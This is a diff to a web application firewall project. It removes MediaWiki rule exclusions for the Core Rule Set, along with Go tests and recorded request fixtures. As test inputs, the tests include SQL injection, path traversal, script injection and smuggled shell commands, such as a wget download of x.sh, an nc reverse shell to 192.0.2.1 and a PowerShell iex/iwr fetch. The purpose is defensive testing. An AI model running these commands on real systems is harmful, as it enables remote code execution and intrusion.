SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:/^(?:wpreason-other|user-reason|mwprotect-reason)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:wpreason-other|user-reason|mwprotect-reason)$/"
# Special:EditWatchlist/raw sends the watched titles in wpTitles, one per
# line. Watchlists holding "Lighthouse notes" and then one of these titles
# were refused:
# "Python3 notes", "Powershell notes", "Ls -la notes" and ".htaccess notes"
# wpTitles always skips 930120, 932120 and 932250. Rule 900916 below skips
# 932125, 932230, 932235, 932260 and 932380 only when wpTitles holds no ";",
# "|", "&", backtick or "{", so "; wget http://example.com/x.sh" is still
# refused. A watchlist that mixes a title holding one of these with a title
# starting with a command name is refused too.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900915,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &ARGS_GET:wpTitles "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932120;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932250;ARGS:wpTitles"
# This rule is in phase 2, because a phase 1 rule runs before the body is read
# and cannot see what wpTitles holds. It checks that the body sends wpTitles
# once, since it would otherwise skip these rules for a second wpTitles
# holding a command. It checks tx.app_mediawiki, since the skip above does not
# reach phase 2.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900916,phase:2,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &TX:app_mediawiki "@eq 1" "chain"
SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
"ctl:ruleRemoveTargetById=932125;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932230;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
SecMarker END_MEDIAWIKI
-474
View File
@@ -1,474 +0,0 @@
package coreruleset_test
import (
"net/http"
"slices"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const mediawikiThreshold = 5
// mediawiki is MediaWiki's name in SWW_APPS.
const mediawiki = "mediawiki"
// mediawikiEdit is the address MediaWiki's edit form posts to.
const mediawikiEdit = "/index.php?title=Example&action=submit"
// mediawikiAPI is MediaWiki's API.
const mediawikiAPI = "/api.php"
// mediawikiRESTPage is a page in MediaWiki's REST API.
const mediawikiRESTPage = "/rest.php/v1/page/Example"
// mediawikiUpload is MediaWiki's upload page.
const mediawikiUpload = "/wiki/Special:Upload"
// mediawikiSignIn is the address MediaWiki's sign-in form posts to.
const mediawikiSignIn = "/index.php?title=Special:UserLogin"
// mediawikiMove is the address MediaWiki's form for moving a page posts to.
const mediawikiMove = "/index.php?title=Special:MovePage&action=submit"
// mediawikiBlock is the address MediaWiki's form for blocking a user posts
// to.
const mediawikiBlock = "/wiki/Special:Block"
// mediawikiProtect is the address MediaWiki's form for protecting a page
// posts to.
const mediawikiProtect = "/index.php?title=Example&action=protect"
// mediawikiSignInPage and mediawikiUploadPage are where a wiki without short
// URLs posts its sign-in and upload forms.
const (
mediawikiSignInPage = "/index.php/Special:UserLogin"
mediawikiUploadPage = "/index.php/Special:Upload"
)
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "mediawiki-requests.txt", atDefaults(t), readingBodies(t))
}
func TestMediaWikiFixesApplyOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {mediawiki},
})
// A search, which only MediaWiki's fixes let through.
search := get("/index.php?title=Special:Search&search=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
t.Parallel()
crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: map[string][]string{giteaHost: {gitea}, otherHost: {mediawiki}},
})
// A watchlist that only the phase 2 rule 900916 lets through.
r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0APython3%20notes"
got, _ := inspectBody(t, crs, withHost(r, otherHost), body)
if got.Score >= mediawikiThreshold {
t.Errorf("POST %s %s on %s refused: %+v", r.target, body, otherHost, got)
}
got, _ = inspectBody(t, crs, withHost(r, giteaHost), body)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %s on %s let through: %+v", r.target, body, giteaHost, got)
}
}
func TestHostnameListingMediaWikiLetsItsRecordedRequestsThrough(t *testing.T) {
t.Parallel()
// The requests were recorded on example.com.
apps := map[string][]string{"example.com": {mediawiki}}
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: apps,
})
wantRecordedRequestsPass(t, "mediawiki-requests.txt", servingApps(t, apps), bodies)
}
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
// the JSON fields of /rest.php/. mediawikiQueryFields sends each in the query, on a
// path where it skips them, ending in "=".
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiQueryFields = []string{
"/index.php?title=",
"/index.php?title=Special:Search&search=",
"/wiki/Special:WhatLinksHere?target=",
"/wiki/Special:Log?page=",
"/wiki/Special:Log?user=",
"/wiki/Special:ListUsers?username=",
"/wiki/Special:AllPages?from=",
"/wiki/Special:AllPages?to=",
"/wiki/Special:PrefixIndex?prefix=",
mediawikiSignIn + "&returnto=",
mediawikiSignIn + "&returntoquery=",
"/wiki/Special:ListFiles?ilsearch=",
"/wiki/Special:FileDuplicateSearch?filename=",
mediawikiUpload + "?wpDestFile=",
"/wiki/Special:BlockList?wpTarget=",
"/index.php?title=Special:BlockList&wpTarget=",
"/w/index.php?title=Special:Search&search=",
"/index.php/Special:AllPages?from=",
"/w/index.php/Special:Search?search=",
"/api.php?action=opensearch&search=",
"/api.php?action=query&list=search&srsearch=",
"/api.php?action=query&list=prefixsearch&pssearch=",
"/api.php?action=query&generator=prefixsearch&gpssearch=",
"/api.php?action=query&generator=search&gsrsearch=",
"/api.php?action=query&titles=",
"/api.php?action=parse&page=",
"/api.php?action=query&list=allpages&apfrom=",
"/api.php?action=query&list=allpages&apto=",
"/api.php?action=query&list=allpages&apprefix=",
"/api.php?action=query&generator=allpages&gapfrom=",
"/api.php?action=query&generator=allpages&gapto=",
"/api.php?action=query&generator=allpages&gapprefix=",
"/api.php?action=query&generator=allimages&gaifrom=",
"/api.php?action=query&generator=allimages&gaiprefix=",
"/api.php?action=query&list=allimages&aifrom=",
"/api.php?action=query&list=allimages&aiprefix=",
"/api.php?action=query&list=allusers&aufrom=",
"/api.php?action=query&list=allusers&auprefix=",
"/api.php?action=query&list=backlinks&bltitle=",
"/api.php?action=query&generator=backlinks&gbltitle=",
"/api.php?action=query&list=exturlusage&euquery=",
"/api.php?action=query&generator=exturlusage&geuquery=",
"/api.php?action=query&list=logevents&letitle=",
"/api.php?action=query&list=usercontribs&ucuser=",
"/api.php?action=query&list=blocks&bkusers=",
"/w/api.php?action=opensearch&search=",
"/rest.php/v1/search/title?q=",
"/rest.php/v1/search/page?q=",
}
// mediawikiAttacks are an SQL injection, a path traversal and a script
// injection, as a query value.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiAttacks = []string{
sqlInjection,
"..%2F..%2FLocalSettings.php",
scriptInjection,
}
func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
targets := append([]string{"/index.php?id=", "/load.php?modules="},
mediawikiQueryFields...)
for _, attack := range mediawikiAttacks {
for _, target := range targets {
if got := inspect(t, crs, get(target+attack)); got.Score < mediawikiThreshold {
t.Errorf("%s%s let through: %+v", target, attack, got)
}
}
}
}
// mediawikiBodyField is a field of a form data body, sent to a path.
type mediawikiBodyField struct{ target, field string }
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles and
// the JSON fields of /rest.php/. mediawikiBodyFields sends each in a form data body, on
// a path where it skips them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiBodyFields = []mediawikiBodyField{
{mediawikiEdit, "wpSummary="},
{mediawikiUpload, "wpUploadDescription="},
{mediawikiUpload, "wpDestFile="},
{mediawikiSignIn, "wpName="},
{mediawikiSignIn, "wpPassword="},
{mediawikiMove, "wpOldTitle="},
{mediawikiMove, "wpNewTitleMain="},
{mediawikiMove, "wpReason="},
{mediawikiBlock, "wpTarget="},
{mediawikiSignInPage, "wpName="},
{"/w" + mediawikiSignInPage, "wpPassword="},
{mediawikiUploadPage, "wpDestFile="},
{"/w" + mediawikiUploadPage, "wpUploadDescription="},
{mediawikiAPI, "title="},
{mediawikiAPI, "from="},
{mediawikiAPI, "to="},
{mediawikiAPI, "summary="},
{mediawikiAPI, "sectiontitle="},
{mediawikiAPI, "filename="},
{mediawikiAPI, "comment="},
{mediawikiAPI, "reason="},
{mediawikiAPI, "user="},
{mediawikiAPI, "lgname="},
{mediawikiAPI, "lgpassword="},
{mediawikiAPI, "username="},
{mediawikiAPI, "password="},
}
// mediawikiReasonFields are the reasons on the admin pages, which skip only
// 930120 and 932120.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiReasonFields = []mediawikiBodyField{
{mediawikiBlock, "wpReason-other="},
{"/index.php/Special:UserRights", "user-reason="},
{mediawikiProtect, "mwProtect-reason="},
}
// mediawikiWatchlist is the field that Special:EditWatchlist/raw posts its
// list of titles in, one per line.
//
//nolint:gochecknoglobals // a struct cannot be a constant
var mediawikiWatchlist = mediawikiBodyField{
"/index.php/Special:EditWatchlist/raw", "wpTitles=",
}
// mediawikiWikitextFields are the form data fields that hold wikitext.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiWikitextFields = []mediawikiBodyField{
{mediawikiEdit, "wpTextbox1="},
{mediawikiAPI, "text="},
{mediawikiAPI, "appendtext="},
{mediawikiAPI, "prependtext="},
}
func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
mediawikiReasonFields, []mediawikiBodyField{mediawikiWatchlist})
for _, attack := range mediawikiAttacks {
for _, sent := range fields {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+attack)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %s%s let through: %+v", sent.target, sent.field, attack, got)
}
}
}
for _, attack := range []string{
injection,
scriptTag,
} {
for _, field := range []string{"source", "comment"} {
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
body := `{"` + field + `":"` + attack + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < mediawikiThreshold {
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
}
}
}
}
// mediawikiCommandAttack is a shell command that only 932235 refuses on the
// fields that skip the other command rules, as a query value.
const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
targets := append([]string{"/load.php?modules="}, mediawikiQueryFields...)
for _, target := range targets {
got := inspect(t, crs, get(target+mediawikiCommandAttack))
if got.Score < mediawikiThreshold {
t.Errorf("%s let through: %+v", target, got)
}
}
crs = readingBodies(t)
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields) {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %s let through: %+v", sent.target, sent.field, got)
}
}
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
body := `{"comment":"; wget http://example.com/x.sh"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < mediawikiThreshold {
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
}
// wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it
// holds no ";", "|", "&", backtick or "{", and only when the body sends
// it once.
r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
for _, attack := range []string{
mediawikiCommandAttack,
"Example%0D%0A" + mediawikiCommandAttack,
"Example&" + mediawikiWatchlist.field + mediawikiCommandAttack,
"Example%0D%0A%24%28id%29",
"Example%0D%0A%7Cnc%20-e%20%2Fbin%2Fsh%20192.0.2.1%204444",
"%3B%20sh%20-i",
"%26%26%20sh%20-i",
"%7C%7C%20sh%20-i",
"%60sh%20-i%60",
"%3B%20ls%20-la%20%2F",
"%3B%20iwr%20http%3A%2F%2Fexample.com%2Fx.ps1",
"%26%20iex%20%28iwr%20http%3A%2F%2Fexample.com%2Fx.ps1%29",
"%7Bwget%2Chttp%3A%2F%2Fexample.com%2Fx.sh%7D",
} {
body := mediawikiWatchlist.field + attack
got, _ := inspectBody(t, crs, r, body)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
}
func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, value := range hardValues {
for _, target := range mediawikiQueryFields {
if got := inspect(t, crs, get(target+value)); got.Score >= mediawikiThreshold {
t.Errorf("%s%s refused: %+v", target, value, got)
}
}
fields := append(append([]mediawikiBodyField{}, mediawikiBodyFields...),
mediawikiWikitextFields...)
for _, sent := range fields {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+value)
if got.Score >= mediawikiThreshold {
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
}
}
// A reason names the command or file in a sentence, as recorded.
for _, sent := range mediawikiReasonFields {
r := request{http.MethodPost, sent.target, []string{formData}}
body := sent.field + "Spamming%20links%20to%20" + value + "%20guides"
got, _ := inspectBody(t, crs, r, body)
if got.Score >= mediawikiThreshold {
t.Errorf("POST %s %s refused: %+v", sent.target, body, got)
}
}
// A watchlist holds the title on its second line, as recorded.
r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes"
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
}
}
func TestMediaWikiExclusionsAreNarrow(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, refused := range []string{
"/?search=python3",
"/index.php?search=python3",
"/index.php?title=Example&other=python3",
"/other.php?title=python3",
"/api.php?other=python3",
"/rest.php/v1/search/title?other=python3",
"/?q=python3",
"/load.php?other=.htaccess",
"/x/api.php?search=python3",
"/x/index.php/Example?search=python3",
} {
if got := inspect(t, crs, get(refused)); got.Score < mediawikiThreshold {
t.Errorf("%s let through: %+v", refused, got)
}
}
crs = readingBodies(t)
// An uploaded file named .htaccess is still refused off MediaWiki's
// paths.
r := request{
http.MethodPost, "/upload.php",
[]string{"Content-Type: multipart/form-data; boundary=b"},
}
body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
"filename=\"Example .htaccess.png\"\r\n\r\nx\r\n--b--\r\n"
got, _ := inspectBody(t, crs, r, body)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %q let through: %+v", r.target, body, got)
}
for _, target := range []string{
mediawikiAPI, mediawikiUpload,
mediawikiUploadPage, "/w" + mediawikiUploadPage,
} {
r.target = target
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
t.Errorf("POST %s %q refused: %+v", r.target, body, got)
}
}
}
func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// The same field name in the query keeps the rules, in the query and
// in the body.
for _, sent := range []struct{ target, field string }{
{mediawikiEdit, "wpTextbox1=python3"},
{mediawikiEdit, "wpSummary=python3"},
{mediawikiSignIn, "wpPassword=python3"},
{mediawikiProtect, "mwProtect-reason=.htaccess"},
{"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"},
{mediawikiAPI + "?action=edit", "text=python3"},
} {
r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
}
-5
View File
@@ -412,11 +412,6 @@
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"powershell\"}"} {"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"powershell\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"ls -la\"}"} {"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"ls -la\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \".htaccess\"}"} {"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \".htaccess\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"example@example.com\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"python3@example.com\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"powershell@example.com\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"ls-la@example.com\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"htaccess@example.com\"}"}
{"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""} {"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"} {"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"}
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""} {"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
-602
View File
@@ -1,602 +0,0 @@
# Ordinary MediaWiki 1.46 requests that the Core Rule Set must let through at
# the defaults. They were recorded from a wiki driven by a headless Chrome and
# an API client. Each line is one request as JSON. Host names, passwords and
# session cookies are invented.
{"method": "GET", "target": "/images/README", "headers": ["Host: example.com", "User-Agent: MediaWiki/1.46.2 (https://\ud83c\udf3b.invalid)"], "body": ""}
{"method": "GET", "target": "/wiki/Main_Page", "headers": ["Host: example.com", "User-Agent: Wget", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=startup&only=scripts&raw=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/resources/assets/change-your-logo-icon.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=3x4w7", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=menu&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=ellipsis&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userTalk&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userContributions&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/skins/Vector/resources/skins.vector.styles/images/link-external-small-ltr-progressive.svg?fb64d", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/resources/assets/poweredby_mediawiki.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=search&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=article&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=history&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
